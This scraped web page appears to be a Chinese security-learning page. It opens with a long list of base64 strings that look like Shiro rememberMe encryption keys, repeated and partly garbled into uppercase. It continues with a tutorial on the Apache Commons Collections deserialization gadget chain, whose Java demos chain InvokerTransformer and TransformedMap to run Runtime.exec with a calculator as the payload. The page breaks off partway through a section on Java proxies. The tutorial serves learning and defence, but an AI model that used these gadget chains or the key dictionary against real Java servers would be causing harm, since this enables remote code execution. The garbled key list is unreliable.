92XazYRi5ltW0M2yA==XgGkgqGqYrix9lI6vxcrRw==ertVhmFLUs0KTA3Kprsdag==5AvVhmFLUS0ATA4Kprsdag==s0KTA3mFLUprK4AvVhsdag==hBlzKg78ajaZuTE0VLzDDg==9FvVhtFLUs0KnA3Kprsdyg==d2ViUmVtZW1iZXJNZUtleQ==yNeUgSzL/CfiWw1GALg6Ag==NGk/3cQ6F5/UNPRh8LpMIg==4BvVhmFLUs0KTA3Kprsdag==MzVeSkYyWTI2OFVLZjRzZg==empodDEyMwAAAAAAAAAAAA==A7UzJgh1+EWj5oBFi+mSgw==c2hpcm9fYmF0aXMzMgAAAA==i45FVt72K2kLgvFrJtoZRw==U3BAbW5nQmxhZGUAAAAAAA==Jt3C93kMR9D5e8QzwfsiMw==MTIzNDU2NzgxMjM0NTY3OA==vXP33AonIp9bFwGl7aT7rA==V2hhdCBUaGUgSGVsbAAAAA==Q01TX0JGTFlLRVlfMjAxOQ==Is9zJ3pzNh2cgTHB4ua3+Q==NsZXjXVklWPZwOfkvk6kUA==GAevYnznvgNCURavBhCr1w==66v1O8keKNV3TTcGPK1wzg==SDKOLKn2J1j/2BHjeZwAoQ==kPH+bIxk5D2deZiIxcabaA==kPH+bIxk5D2deZiIxcacaA==3AvVhdAgUs0FSA4SDFAdBg==4AvVhdsgUs0F563SDFAdag==FL9HL9Yu5bVUJ0PDU1ySvg==5RC7uBZLkByfFfJm22q/Zw==eXNmAAAAAAAAAAAAAAAAAA==fdCEiK9YvLC668sS43CJ6A==FJoQCiz0z5XWz2N2LyxNww==HeUZ/LvgkO7nsa18ZyVxWQ==HoTP07fJPKIRLOWoVXmv+Q==iycgIIyCatQofd0XXxbzEg==m0/5ZZ9L4jjQXn7MREr/bw==NoIw91X9GSiCrLCF03ZGZw==oPH+bIxk5E2enZiIxcqaaA==QAk0rp8sG0uJC4Ke2baYNA==Rb5RN+LofDWJlzWAwsXzxg==s2SE9y32PvLeYo+VGFpcKA==SrpFBcVD89eTQ2icOD0TMg==U0hGX2d1bnMAAAAAAAAAAA==Us0KvVhTeasAm43KFLAeng==Ymx1ZXdoYWxlAAAAAAAAAA==YWJjZGRjYmFhYmNkZGNiYQ==zIiHplamyXlVB11UXWol8g==ZjQyMTJiNTJhZGZmYjFjMQ==kPH+bIxk5D2deZiIxcaaaA==4AvVhmFLUs0KTA3Kprsdag==WkhBTkdYSUFPSEVJX0NBVA==U3ByaW5nQmxhZGUAAAAAAA==cGljYXMAAAAAAAAAAAAAAA==d2ViUmVtZW1iZXJNZUtleQ==fsHspZw/92PrS3XrPW+vxw==sHdIjUN6tzhl8xZMG3ULCQ==WuB+y2gcHRnY2Lg9+Aqmqg==ertVhmFLUs0KTA3Kprsdag==2itfW92XazYRi5ltW0M2yA==6ZmI6I2j3Y+R1aSn5BOlAA==f/SY5TIve5WWzT4aQlABJA==Jt3C93kMR9D5e8QzwfsiMw==aU1pcmFjbGVpTWlyYWNsZQ==XTx6CKLo/SdSgub+OPHSrw==8AvVhmFLUs0KTA3Kprsdag==66v1O8keKNV3TTcGPK1wzg==Q01TX0JGTFlLRVlfMjAxOQ==5AvVhmFLUS0ATA4Kprsdag==ZmFsYWRvLnh5ei5zaGlybw==0AvVhmFLUs0KTA3Kprsdag==r0e3c16IdVkouZgk1TKVMg==Z3VucwAAAAAAAAAAAAAAAA==5J7bIJIV0LQSN3c9LPitBQ==ZnJlc2h6Y24xMjM0NTY3OA==yeAAo1E8BOeAYfBlm4NG9Q==a3dvbmcAAAAAAAAAAAAAAA==4BvVhmFLUs0KTA3Kprsdag==s0KTA3mFLUprK4AvVhsdag==yNeUgSzL/CfiWw1GALg6Ag==OY//C4rhfwNxCQAQCrQQ1Q==fCq+/xW488hMTCD+cmJ3aQ==ZAvph3dsQs0FSL3SDFAdag==MTIzNDU2NzgxMjM0NTY3OA==1AvVhdsgUs0FSA3SDFAdag==Bf7MfkNR0axGGptozrebag==1QWLxg+NYmxraMoxAXu/Iw==6AvVhmFLUs0KTA3Kprsdag==6NfXkC7YVCV5DASIrEm1Rg==2AvVhdsgUs0FSA3SDFAdag==9FvVhtFLUs0KnA3Kprsdyg==OUHYQzxQ/W9e/UjiAGu6rg==ClLk69oNcA3m+s0jIMIkpg==vXP33AonIp9bFwGl7aT7rA==NGk/3cQ6F5/UNPRh8LpMIg==MPdCMZ9urzEA50JDlDYYDg==c2hpcm9fYmF0aXMzMgAAAA==XgGkgqGqYrix9lI6vxcrRw==2A2V+RFLUs+eTA3Kpr+dag==5AvVhmFLUs0KTA3Kprsdag==3AvVhmFLUs0KTA3Kprsdag==WcfHGU25gNnTxTlmJMeSpw==bWljcm9zAAAAAAAAAAAAAA==bWluZS1hc3NldC1rZXk6QQ==bXRvbnMAAAAAAAAAAAAAAA==6ZmI6I2j5Y+R5aSn5ZOlAA==3JvYhmBLUs0ETA5Kprsdag==A7UzJgh1+EWj5oBFi+mSgw==Is9zJ3pzNh2cgTHB4ua3+Q==25BsmdYwjnfcWmnhAciDDg==cmVtZW1iZXJNZQAAAAAAAA==7AvVhmFLUs0KTA3Kprsdag==3qDVdLawoIr1xFd6ietnwg==Y1JxNSPXVwMkyvES/kJGeQ==xVmmoltfpb8tTceuT5R7Bw==O4pdf+7e+mZe8NyxMTPJmQ==SDKOLKn2J1j/2BHjeZwAoQ==a2VlcE9uR29pbmdBbmRGaQ==V2hhdCBUaGUgSGVsbAAAAA==GAevYnznvgNCURavBhCr1w==hBlzKg78ajaZuTE0VLzDDg==2cVtiE83c4lIrELJwKGJUw==9AvVhmFLUs0KTA3Kprsdag==SkZpbmFsQmxhZGUAAAAAAA==lT2UvDUmQwewm6mMoiw4Ig==HWrBltGvEZc14h9VpMvZWw==8BvVhmFLUs0KTA3Kprsdag==bya2HkYo57u6fWh5theAWw==IduElDUpDDXE677ZkhhKnQ==1tC/xrDYs8ey+sa3emtiYw==MTIzNDU2Nzg5MGFiY2RlZg==c+3hFGPjbgzGdrC+MHgoRQ==rPNqM6uKFCyaL10AK51UkQ==5aaC5qKm5oqA5pyvAAAAAA==cGhyYWNrY3RmREUhfiMkZA==MzVeSkYyWTI2OFVLZjRzZg==YI1+nBV//m7ELrIyDHm6DQ==empodDEyMwAAAAAAAAAAAA==NsZXjXVklWPZwOfkvk6kUA==ZUdsaGJuSmxibVI2ZHc9PQ==L7RioUULEFhRyxM7a2R/Yg==i45FVt72K2kLgvFrJtoZRw==zSyK5Kp6PZAAjlT+eeNMlg==kPv59vyqzj00x11LXJZTjJ2UHW48jzHNwGiHplamyXlVB11UXWol8g==6Zm+6I2j5Y+R5aS+5ZOlAA==U3BAbW5nQmxhZGUAAAAAAA==2adsfasdqerqerqewradsf==2AvVCXsxUs0FSA7SYFjdQg==2AvVhdsgERdsSA3SDFAdag==2AvVhdsgUs0FSA3SaFAdfg==2AvVhdsgUs0FSA3SDFAder==2AvVhdsgUsOFSA3SDFAdag==2AvVhmFLUs0KTA3Kprsdag==2AvVidsaUSofSA3SDFAdog==3Av2hmFLAs0BTA3Kprsd6E==3AvVhdAgUs1FSA4SDFAdBg==3AvVhMFLIs0KTA3Kprsdag==3AvVhmFLUs0KTA3KaTHGFg==3AvVhmFLUs0KTA3Kprsdag==3qDVdLawoIr1xFd6ietnsg==3rvVhmFLUs0KAT3Kprsdag==4AvVhm2LUs0KTA3Kprsdag==4AvVhmFLUs0KTA3KAAAAAA==4AvVhmFLUs0KTA3Kprseaf==4AvVhmFLUs0TTA3Kprsdag==4AvVhmFLUs5KTA1Kprsdag==4AvVhmFLUsOKTA3Kprsdag==4rvVhmFLUs0KAT3Kprsdag==4WCZSJyqdUQsije93aQIRg==5AvVhCsgUs0FSA3SDFAdag==5oiR5piv5p2h5ZK46bG8IQ==8AvVhdsgUs0FSA3SDFAdag==9Ami6v2G5Y+r5aPnE4OlBB==9AVvhnFLuS3KTV8KprsdAg==a69ec781563b1a5d791f7b2bdd117a36AF05JAuyuEB1ouJQ9Y9Phg==aG91c2Vob3VzZWhvdXNlMg==A+kWR7o9O0/G/W6aOGesRA==AztiX2RUqhc7dhOzl1Mj8Q==b2EAAAAAAAAAAAAAAAAAAA==B9rPF8FHhxKJZ9k63ik7kQ==c2hvdWtlLXBsdXMuMjAxNg==Cj6LnKZNLEowAZrdqyH/Ew==duhfin37x6chw29jsne45m==fCq+/xW488hMTCE+cmJ3FF==FjbNm1avvGmWE9CY2HqV75==FP7qKJzdJOGkzoQzo2wTmA==GhrF5zLfq1Dtadd1jlohhA==GHxH6G3LFh8Zb3NwoRgfFA==HOlg7NHb9potm0n5s4ic0Q==kPv59vyqzj00x11LXJZTjJ2UHW48jzHNlt181dcQVz/Bo9Wb8ws/Cg==M2djA70UBBUPDibGZBRvrA==mIccZhQt6EBHrZIyw1FAXQ==pbnA+Qzen1vjV3rNqQBLHg==pyyX1c5x2f0LZZ7VKZXjKO==QDFCnfkLUs0KTA3Kprsdag==QF5HMyZAWDZYRyFnSGhTdQ==qQFtSnnj/sx7vu51ixAyEQ==QUxQSEFNWVNPRlRCVUlMRA==QVN1bm5uJ3MgU3Vuc2l0ZQ==R29yZG9uV2ViAAAAAAAAAA==sBv2t3okbdm3U0r2EVcSzB==sgIQrqUVxa1OZRRIK3hLZw==TGMPe7lGO/Gbr38QiJu1/w==UGlzMjAxNiVLeUVlXiEjLw==w793pPq5ZVBKkj8OhV4KaQ==wrjUh2ttBPQLnT4JVhriug==wyLZMDifwq3sW1vhhHpgKA==YnlhdnMAAAAAAAAAAAAAAA==YVd4dmRtVjViM1UlM0QIdn==YWdlbnRAZG1AMjAxOHN3Zg==YystomRZLMUjiK0Q1+LFdw==Z3VucwAAAAAAAAAAAAABBB==Z3VucwACAOVAKALACAADSA==ZGdmdwAAAAAAAAAAAAAAAAZUdsaGJuSmxibVI2ZHc9PQZUdSNFpIaGs==ikB3y6O9BpimrZLB3rca0w==lxuEtAWbv+SgUOXREM+zrA==bTBANVpaOUw0ampRWG43TVJFcF5iXjdJnhNhwZ6X7xzgXnnZBxWFQLwCGQtJojL3k3+XHEg6D8tb2mGm7VJ3nQ==KPH+BIXK5D2DEZIIXCAAAA==2AVVHDSGUS0FSA3SDFADAG==3AVVHMFLUS0KTA3KPRSDAG==4AVVHMFLUS0KTA3KPRSDAG==5AAC5QKM5OQA5PYVAAAAAA==6ZMI6I2J5Y+R5ASN5ZOLAA==BWLJCM9ZAAAAAAAAAAAAAA==WGIHPLAMYXLVB11UXWOL8G==Z3VUCWAAAAAAAAAAAAAAAA==MTIZNDU2NZG5MGFIY2RLZG==ZSYK5KP6PZAAJLT+EENMLG==U3BYAW5NQMXHZGUAAAAAAA==5AVVHMFLUS0KTA3KPRSDAG==BXDRXL9ENJY2KJA3Z2OTPQ==FCQ+/XW488HMTCD+CMJ3AQ==1QWLXG+NYMXRAMOXAXU/IW==ZUDSAGJUSMXIBVI2ZHC9PQ==L7RIOUULEFHRYXM7A2R/YG==R0E3C16IDVKOUZGK1TKVMG==BWLUZS1HC3NLDC1RZXK6QQ==A2VLCE9UR29PBMDBBMRGAQ==WCFHGU25GNNTXTLMJMESPW==ZAVPH3DSQS0FSL3SDFADAG==TIVV6G3UZBGFGSHESAQBJA==CMVTZW1IZXJNZQAAAAAAAA==ZNJLC2H6Y24XMJM0NTY3OA==RVZBTK5JR0HUTFLFV0FPVQ==WKHBTKDYSUFPSEVJX0NBVA==GSHAWO4M1ENBE0KNSMULHG==L8CC6D2XPKT1YFTLICLHCG==KU471RVNQ6K7PQL4SQXGJG==0AVVHMFLUS0KTA3KPRSDAG==1AVVHDSGUS0FSA3SDFADAG==25BSMDYWJNFCWMNHACIDDG==3JVYHMBLUS0ETA5KPRSDAG==6AVVHMFLUS0KTA3KPRSDAG==6NFXKC7YVCV5DASIREM1RG==7AVVHMFLUS0KTA3KPRSDAG==8AVVHMFLUS0KTA3KPRSDAG==8BVVHMFLUS0KTA3KPRSDAG==9AVVHMFLUS0KTA3KPRSDAG==OUHYQZXQ/W9E/UJIAGU6RG==A3DVBMCAAAAAAAAAAAAAAA==AU1PCMFJBGVPTWLYYWNSZQ==BXRVBNMAAAAAAAAAAAAAAA==OY//C4RHFWNXCQAQCRQQ1Q==5J7BIJIV0LQSN3C9LPITBQ==F/SY5TIVE5WWZT4AQLABJA==BYA2HKYO57U6FWH5THEAWW==WUB+Y2GCHRNY2LG9+AQMQG==3QDVDLAWOIR1XFD6IETNWG==YI1+NBV//M7ELRIYDHM6DQ==6ZM+6I2J5Y+R5AS+5ZOLAA==2A2V+RFLUS+ETA3KPR+DAG==6ZMI6I2J3Y+R1ASN5BOLAA==SKZPBMFSQMXHZGUAAAAAAA==2CVTIE83C4LIRELJWKGJUW==FSHSPZW/92PRS3XRPW+VXW==XTX6CKLO/SDSGUB+OPHSRW==SHDIJUN6TZHL8XZMG3ULCQ==O4PDF+7E+MZE8NYXMTPJMQ==HWRBLTGVEZC14H9VPMVZWW==RPNQM6UKFCYAL10AK51UKQ==Y1JXNSPXVWMKYVES/KJGEQ==LT2UVDUMQWEWM6MMOIW4IG==MPDCMZ9URZEA50JDLDYYDG==XVMMOLTFPB8TTCEUT5R7BW==C+3HFGPJBGZGDRC+MHGORQ==CLLK69ONCA3M+S0JIMIKPG==BF7MFKNR0AXGGPTOZREBAG==1TC/XRDYS8EY+SA3EMTIYW==ZMFSYWRVLNH5EI5ZAGLYBW==CGHYYWNRY3RMREUHFIMKZA==IDUELDUPDDXE677ZKHHKNQ==YEAAO1E8BOEAYFBLM4NG9Q==CGLJYXMAAAAAAAAAAAAAAA==2ITFW92XAZYRI5LTW0M2YA==XGGKGQGQYRIX9LI6VXCRRW==ERTVHMFLUS0KTA3KPRSDAG==5AVVHMFLUS0ATA4KPRSDAG==S0KTA3MFLUPRK4AVVHSDAG==HBLZKG78AJAZUTE0VLZDDG==9FVVHTFLUS0KNA3KPRSDYG==D2VIUMVTZW1IZXJNZUTLEQ==YNEUGSZL/CFIWW1GALG6AG==NGK/3CQ6F5/UNPRH8LPMIG==4BVVHMFLUS0KTA3KPRSDAG==MZVESKYYWTI2OFVLZJRZZG==EMPODDEYMWAAAAAAAAAAAA==A7UZJGH1+EWJ5OBFI+MSGW==C2HPCM9FYMF0AXMZMGAAAA==I45FVT72K2KLGVFRJTOZRW==U3BABW5NQMXHZGUAAAAAAA==JT3C93KMR9D5E8QZWFSIMW==MTIZNDU2NZGXMJM0NTY3OA==VXP33AONIP9BFWGL7AT7RA==V2HHDCBUAGUGSGVSBAAAAA==Q01TX0JGTFLLRVLFMJAXOQ==IS9ZJ3PZNH2CGTHB4UA3+Q==NSZXJXVKLWPZWOFKVK6KUA==GAEVYNZNVGNCURAVBHCR1W==66V1O8KEKNV3TTCGPK1WZG==SDKOLKN2J1J/2BHJEZWAOQ==KPH+BIXK5D2DEZIIXCABAA==KPH+BIXK5D2DEZIIXCACAA==3AVVHDAGUS0FSA4SDFADBG==4AVVHDSGUS0F563SDFADAG==FL9HL9YU5BVUJ0PDU1YSVG==5RC7UBZLKBYFFFJM22Q/ZW==EXNMAAAAAAAAAAAAAAAAAA==FDCEIK9YVLC668SS43CJ6A==FJOQCIZ0Z5XWZ2N2LYXNWW==HEUZ/LVGKO7NSA18ZYVXWQ==HOTP07FJPKIRLOWOVXMV+Q==IYCGIIYCATQOFD0XXXBZEG==M0/5ZZ9L4JJQXN7MRER/BW==NOIW91X9GSICRLCF03ZGZW==OPH+BIXK5E2ENZIIXCQAAA==QAK0RP8SG0UJC4KE2BAYNA==RB5RN+LOFDWJLZWAWSXZXG==S2SE9Y32PVLEYO+VGFPCKA==SRPFBCVD89ETQ2ICOD0TMG==U0HGX2D1BNMAAAAAAAAAAA==US0KVVHTEASAM43KFLAENG==YMX1ZXDOYWXLAAAAAAAAAA==YWJJZGRJYMFHYMNKZGNIYQ==ZIIHPLAMYXLVB11UXWOL8G==ZJQYMTJINTJHZGZMYJFJMQ==KPV59VYQZJ00X11LXJZTJJ2UHW48JZHN2ADSFASDQERQERQEWRADSF==2AVVCXSXUS0FSA7SYFJDQG==2AVVHDSGERDSSA3SDFADAG==2AVVHDSGUS0FSA3SAFADFG==2AVVHDSGUS0FSA3SDFADER==2AVVHDSGUSOFSA3SDFADAG==2AVVHMFLUS0KTA3KPRSDAG==2AVVIDSAUSOFSA3SDFADOG==3AV2HMFLAS0BTA3KPRSD6E==3AVVHDAGUS1FSA4SDFADBG==3AVVHMFLIS0KTA3KPRSDAG==3AVVHMFLUS0KTA3KATHGFG==3QDVDLAWOIR1XFD6IETNSG==3RVVHMFLUS0KAT3KPRSDAG==4AVVHM2LUS0KTA3KPRSDAG==4AVVHMFLUS0KTA3KAAAAAA==4AVVHMFLUS0KTA3KPRSEAF==4AVVHMFLUS0TTA3KPRSDAG==4AVVHMFLUS5KTA1KPRSDAG==4AVVHMFLUSOKTA3KPRSDAG==4RVVHMFLUS0KAT3KPRSDAG==4WCZSJYQDUQSIJE93AQIRG==5AVVHCSGUS0FSA3SDFADAG==5OIR5PIV5P2H5ZK46BG8IQ==8AVVHDSGUS0FSA3SDFADAG==9AMI6V2G5Y+R5APNE4OLBB==9AVVHNFLUS3KTV8KPRSDAG==A69EC781563B1A5D791F7B2BDD117A36AF05JAUYUEB1OUJQ9Y9PHG==AG91C2VOB3VZZWHVDXNLMG==A+KWR7O9O0/G/W6AOGESRA==AZTIX2RUQHC7DHOZL1MJ8Q==B2EAAAAAAAAAAAAAAAAAAA==B9RPF8FHHXKJZ9K63IK7KQ==C2HVDWTLLXBSDXMUMJAXNG==CJ6LNKZNLEOWAZRDQYH/EW==DUHFIN37X6CHW29JSNE45M==FCQ+/XW488HMTCE+CMJ3FF==FJBNM1AVVGMWE9CY2HQV75==FP7QKJZDJOGKZOQZO2WTMA==GHRF5ZLFQ1DTADD1JLOHHA==GHXH6G3LFH8ZB3NWORGFFA==HOLG7NHB9POTM0N5S4IC0Q==LT181DCQVZ/BO9WB8WS/CG==M2DJA70UBBUPDIBGZBRVRA==MICCZHQT6EBHRZIYW1FAXQ==PBNA+QZEN1VJV3RNQQBLHG==PYYX1C5X2F0LZZ7VKZXJKO==QDFCNFKLUS0KTA3KPRSDAG==QF5HMYZAWDZYRYFNSGHTDQ==QQFTSNNJ/SX7VU51IXAYEQ==QUXQSEFNWVNPRLRCVULMRA==QVN1BM5UJ3MGU3VUC2L0ZQ==R29YZG9UV2VIAAAAAAAAAA==SBV2T3OKBDM3U0R2EVCSZB==SGIQRQUVXA1OZRRIK3HLZW==TGMPE7LGO/GBR38QIJU1/W==UGLZMJAXNIVLEUVLXIEJLW==W793PPQ5ZVBKKJ8OHV4KAQ==WRJUH2TTBPQLNT4JVHRIUG==WYLZMDIFWQ3SW1VHHHPGKA==YNLHDNMAAAAAAAAAAAAAAA==YVD4DMRTVJVIM1ULM0QIDN==YWDLBNRAZG1AMJAXOHN3ZG==YYSTOMRZLMUJIK0Q1+LFDW==Z3VUCWAAAAAAAAAAAAABBB==Z3VUCWACAOVAKALACAADSA==ZGDMDWAAAAAAAAAAAAAAAAZUDSAGJUSMXIBVI2ZHC9PQZWvohmPdUsAWT3=KpPqdaCrownKey==a12d/dakdadYTM0NZomIzI2OTsmIzM0NTueYQ==Z3h6eWd4enklMjElMjElMjE=4AvVhmFLUs0KTA3KprSdAg==fcq+/xW488hMTCD+cmJ3aq==ZUdsaGJuSmxibVI2ZHc9PQ=7jTQxw//pkbYKhiLzrhOvQ==1t43gns419h1g61dpnpfea7lysQ9bWt7hclqXmJNoPg==dG91dGlhbzEyMzQ1Ng==g2wzfqvMOeazgtsUVbq1kmJawROa6mcRAzwG1/GeJ4=WWFuemhlbmcg5Lil5q2jAA==FcoRsBKe9XB3zOHbxTG0Lw==LafjwUgsDlNmnet47IJQWg==dG91dGlhbzEyMzQ1NQ==nwEHmyG0f66WQT7Qu6N6SQ==ZjQyMTJiNTJhZGZmYjFjMQ==</li>
  <li>一：概述ApacheCommons是Apache软件基金会的项目，曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成：Proper（是一些已发布的项目）、Sandbox（是一些正在开发的项目）和Dormant（是一些刚启动或者已经停止维护的项目）。CommonsCollections包为Java标准的CollectionsAPI提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中，既保证了性能，同时也能大大简化代码。CC链的前提是序列化或者反序列化：序列化需要两个条件：1、该类必须实现java.io.Serlalizable接口2、该类的所有属性必须是可序列化的，如果有不可序列化的属性必须注明是短暂的二：环境搭建下边我们以ApacheCommonscollections反序列化漏洞为例，先去下边地址下载commons-collections-3.1.zip文件：https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip下载完成后解压，然后IDEA新建一个Java项目导入commons-collections-3.1.jar包,如图：我使用的jdk版本为：1.8.0_281然后在src-com-company下创建一个class文件，内容如下：ApacheCommonsCollectionsDemo.javapackagecom.company;importjava.util.HashMap;importjava.util.Map;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.keyvalue.TiedMapEntry;importorg.apache.commons.collections.map.LazyMap;importorg.apache.commons.collections.map.TransformedMap;publicclassApacheCommonsCollectionsDemo{publicstaticvoidmain(String[]args){//((Runtime)Runtime.class.getMethod("getRuntime").invoke()).exec("calc")//构造恶意的chainTransformer[]transformers=newTransformer[]{//通过内置的ConstantTransformer来获取Runtime类newConstantTransformer(Runtime.class),//通过InvokerTransformer来反射调用getMethod方法，参数是getRuntime，其后类似newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"open-aCalculator"})};TransformertransformChain=newChainedTransformer(transformers);//普通的MapMapmp=newHashMap();mp.put("sw","demo");//将普通的Map变成TransformedMap，并且指定变换方式为前面定义的恶意chainMaptransformMap=TransformedMap.decorate(mp,transformChain,transformChain);//修改TransformedMap中的一个值，成功执行命令Map.Entryentry=(Map.Entry)transformMap.entrySet().iterator().next();entry.setValue("test");}}三：transformTransformer是一个用于规范类型转换行为的接口，实现该接口的类有：ChainedTransformer,CloneTransformer,ClosureTransformer,ConstantTransformer,ExceptionTransformer,FactoryTransformer,InstantiateTransformer,InvokerTransformer,MapTransformer,NOPTransformer,PredicateTransformer,StringValueTransformer,SwitchTransformer（3和4的部分实现类有所区别）介绍一部分实现类（需要用到的类）ConstantTransformer作用：获取class对象关键是调用transform对象demo.java//学习反序列化CC链调试程序packagecom.company;importorg.apache.commons.collections.functors.ConstantTransformer;publicclassMain{publicstaticvoidmain(String[]args){//writeyourcodehereConstantTransformerconstantTransformer=newConstantTransformer(Runtime.class);//通过ConstantTransformer这个方法来进行获取Runtime.class//相当于是你传入Runtime.class下面就会返回这个类，传入什么返回什么Objecttransform=constantTransformer.transform("any");System.out.println(transform);System.out.println(transform.getClass().getName());}}transform方法会忽略传入参数，不会改变当前对象，所以我们输出的还是：classjava.lang.Runtimejava.lang.ClassInvokerTransformer通过反射调用传入对象的方法（public属性）最常用的构造方法有三个参数：1、methodname方法2、class类型3、方法参数例如：methodName:“exec”,newClass[]{String.class},newObject[]{cmd}commons-collections从3.2.2版本开始尝试序列化或反序列化此类都会抛出UnsupportedOperationException异常，这个举措是为了防止远程代码执行；如果允许序列化该类就要在运行时添加属性-Dproperty=truecommons-collections4从4.1之后直接禁止被用于反序列化它的Transform方法就是首先接受一个对象（ChainedTransformer），然后获取该对象的名称（ConstantTransformer），最后通过InvokerTransformer传入三个参数。命令执行//方法一：常规套三层InvokerTransformerChainedTransformerchain=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",null}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"})});chain.transform("any");//任意传入都可//法二：传入Runtime实例ChainedTransformerchain=newChainedTransformer(newTransformer[]{newConstantTransformer(Runtime.getRuntime()),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{"calc.exe"})});chain.transform("any");//任意传入都可ChainedTransformer传入Transformer数组初始化对象；transform方法依次调用Transformer实现类的transform方法处理传入对象，也就是transform方法的组合拳利用上边的三个类连起来形成一条链的话就是：packagecom.CC;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;publicclassDemo03{publicstaticvoidmain(String[]args){Stringcmd="calc.exe";Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}//获取到了getRuntime方法),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}//用invoke方法传递参数),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{cmd})};//创建ChainedTransformer调⽤链对象TransformertransformedChain=newChainedTransformer(transformers);//执⾏对象转换操作transformedChain.transform(null);}}1）ConstantTransformer把传入对象转换为常量，并返回得到该对象（Runtime.class）2）InvokerTransformer通过反射获取传入对象的方法，并且加入参数3）ChainedTransformer执行链式的Transformer方法，将反射包含的数组进行链式调用，从而连贯起来4）然后查找哪个对象能够接收ChainedTransformer方法TransformedMap这个类就是为了上一个方法的第四步上一个方法的第四步之后我们得到的是ChainedTransformer，一个转换链，TransformedMap类提供将map和转换链绑定的构造函数，只需要将数据添加到map中就可以调用这个转换链执行payload。这样我们就可以把触发条件从显性的调用转换链的transform函数延伸到修改map的值，后者是一个常规操作，相比前者更容易触发。publicstaticMapdecorate(Mapmap,TransformerkeyTransformer,TransformervalueTransformer){returnnewTransformedMap(map,keyTransformer,valueTransformer);}Transformer实现类分别绑定在map的key和value上，当map的key和value被修改时，会调用对应Transformer实现类的transformer()方法。我们可以把chainedtransformer绑定到一个TransformedMap上，当此map的key或value发生改变时（调用TransformedMap的setValue/put/putAll中的任意方法），就会自动触发chainedtransformer。packagecom.CC;importorg.apache.commons.collections.Transformer;importorg.apache.commons.collections.functors.ChainedTransformer;importorg.apache.commons.collections.functors.ConstantTransformer;importorg.apache.commons.collections.functors.InvokerTransformer;importorg.apache.commons.collections.map.TransformedMap;importjava.util.HashMap;importjava.util.Map;publicclassDemo04{publicstaticvoidmain(String[]args){Stringcmd="calc.exe";Transformer[]transformers=newTransformer[]{newConstantTransformer(Runtime.class),newInvokerTransformer("getMethod",newClass[]{String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),newInvokerTransformer("exec",newClass[]{String.class},newObject[]{cmd})};//创建ChainedTransformer调⽤链对象TransformertransformedChain=newChainedTransformer(transformers);//创建Map对象Mapmap=newHashMap();map.put("value","value");//使⽤TransformedMap创建⼀个含有恶意调⽤链的Transformer类的Map对象MaptransformedMap=TransformedMap.decorate(map,null,transformedChain);//transformedMap.put("v1","v2");//执⾏put也会触发transform//遍历Map元素，并调⽤setValue⽅法for(Objectobj:transformedMap.entrySet()){Map.Entryentry=(Map.Entry)obj;//setValue最终调⽤到InvokerTransformer的transform⽅法,从⽽触发Runtime命令执⾏调⽤链entry.setValue("test");}//System.out.println(transformedMap);}}TransformedMap的条件:1）实现了java.io.Serializable接口；2）并且可以传入我们构造的TransformedMap对象（如上边例子中传入map的transformedChain对象）;3）调用了TransformedMap中的setValue/put/putAll中的任意一个方法；AnnotationInvocationHandler上面的漏洞触发条件仍然不够完美，需要服务端把我们传入的序列化内容反序列化为map，并对值进行修改。之前也说过完美的反序列化漏洞还需要一个readobject复写点，使只要服务端执行了readObject函数就等于命令执行。在jdk1.7中就存在一个完美的readobject复写点的类sun.reflect.annotation.AnnotationInvocationHandler。—–这里待深入分析四：历史链分析待分析五：参考链接https://tyskill.github.io/posts/javatransformchain/#contents:transformhttps://blog.csdn.net/xhy18634297976/article/details/122749129</li>
  <li>代理是Java中的一种设计模式，主要用于提供对目标对象另外的访问方式，即通过代理对象访问目标对象。这样，就可以在目标对象实现的基础上，加强额外的功能操作，实现拓展目标对象的功能。代理模式的关键点在于代理对象和目标对象，代理对象是对目标对象的扩展，并且代理对象对调用目标对象。Java代理的方式有3种：静态代理、动态代理和CGLib代理静态代理所谓静态代理就是当确定代理对象和被代理对象后，就无法再去代理另一个对象。同理，在Java静态代理中，如果我们想要实现另一个代理，就需要重新写一个代理对象。总而言之，在静态代理中，代理类和被代理类实现了同样的接口，代理类同时持有被代理类的引用。当我们需要调用被代理类的方法时，可以通过调用代理类的方法实现动态代理静态代理的优势很明显，即允许开发人员在不修改已有代码的情况下完成一些增强功能的需求。但是静态代理的缺点也很明显，它的使用会由于代理对象要实现与目标对象一致的接口，从而产生过多的代理类，造成冗余；其次，大量使用静态代理会使项目不易维护，一旦接口增加方法，目标对象与代理对象就要进行修改。而动态代理的优势在于可以很方便的对代理类的函数进行统一的处理，而不用修改每个代理类中的方法。这就意味着Java中的动态使用了反射，因此动态代理其实是基于反射机制的一种代理。动态代理与静态代理的区别在于，通过动态代理可以实现多个需求。动态代理是通过实现接口的方式来实现代理，具体来说，动态代理是通过Proxy类创建代理对象，然后将接口方法代理给InvocationHandler接口完成的。动态代理的关键有两个，即上边提到的Proxy类以及InvocationHandler接口。Proxy类在JDK中，java提供了Java.lang.reflect.InvocationHandler接口和java.lang.ref